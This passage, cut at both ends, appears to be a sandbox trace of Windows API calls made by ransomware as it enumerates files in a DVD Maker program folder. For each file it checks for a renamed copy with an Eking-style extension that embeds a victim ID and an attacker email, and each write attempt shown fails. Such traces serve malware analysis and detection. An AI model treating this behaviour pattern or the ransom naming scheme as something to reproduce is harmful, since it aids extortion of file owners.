Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.876] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=99127) returned 1 [0183.876] CloseHandle (hObject=0x1e0) returned 1 [0183.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0183.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0183.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.878] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3057) returned 1 [0183.878] CloseHandle (hObject=0x1e0) returned 1 [0183.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0183.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0183.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.880] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=25998) returned 1 [0183.880] CloseHandle (hObject=0x1e0) returned 1 [0183.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0183.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0183.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.881] SetEvent (hEvent=0x174) returned 1 [0183.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.881] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=205220) returned 1 [0183.881] CloseHandle (hObject=0x1e0) returned 1 [0183.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0183.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0183.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.882] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=61220) returned 1 [0183.882] CloseHandle (hObject=0x1e0) returned 1 [0183.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0183.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0183.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.883] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=61220) returned 1 [0183.883] CloseHandle (hObject=0x1e0) returned 1 [0183.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0183.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0183.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.887] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=229220) returned 1 [0183.887] CloseHandle (hObject=0x1e0) returned 1 [0183.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0183.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0183.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.888] SetEvent (hEvent=0x174) returned 1 [0183.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.888] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2820) returned 1 [0183.888] CloseHandle (hObject=0x1e0) returned 1 [0183.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0183.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png")) returned 0x20 [0183.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.890] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=19846) returned 1 [0183.890] CloseHandle (hObject=0x1e0) returned 1 [0183.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0183.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png")) returned 0x20 [0183.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.894] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0183.894] CloseHandle (hObject=0x1e0) returned 1 [0183.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0183.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0183.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.895] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2821) returned 1 [0183.895] CloseHandle (hObject=0x1e0) returned 1 [0183.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0183.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0183.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.897] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0183.897] CloseHandle (hObject=0x1e0) returned 1 [0183.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0183.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0183.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.898] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0183.899] CloseHandle (hObject=0x1e0) returned 1 [0183.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.900] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0183.900] CloseHandle (hObject=0x1e0) returned 1 [0183.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0183.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0183.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.901] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0183.901] CloseHandle (hObject=0x1e0) returned 1 [0183.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd 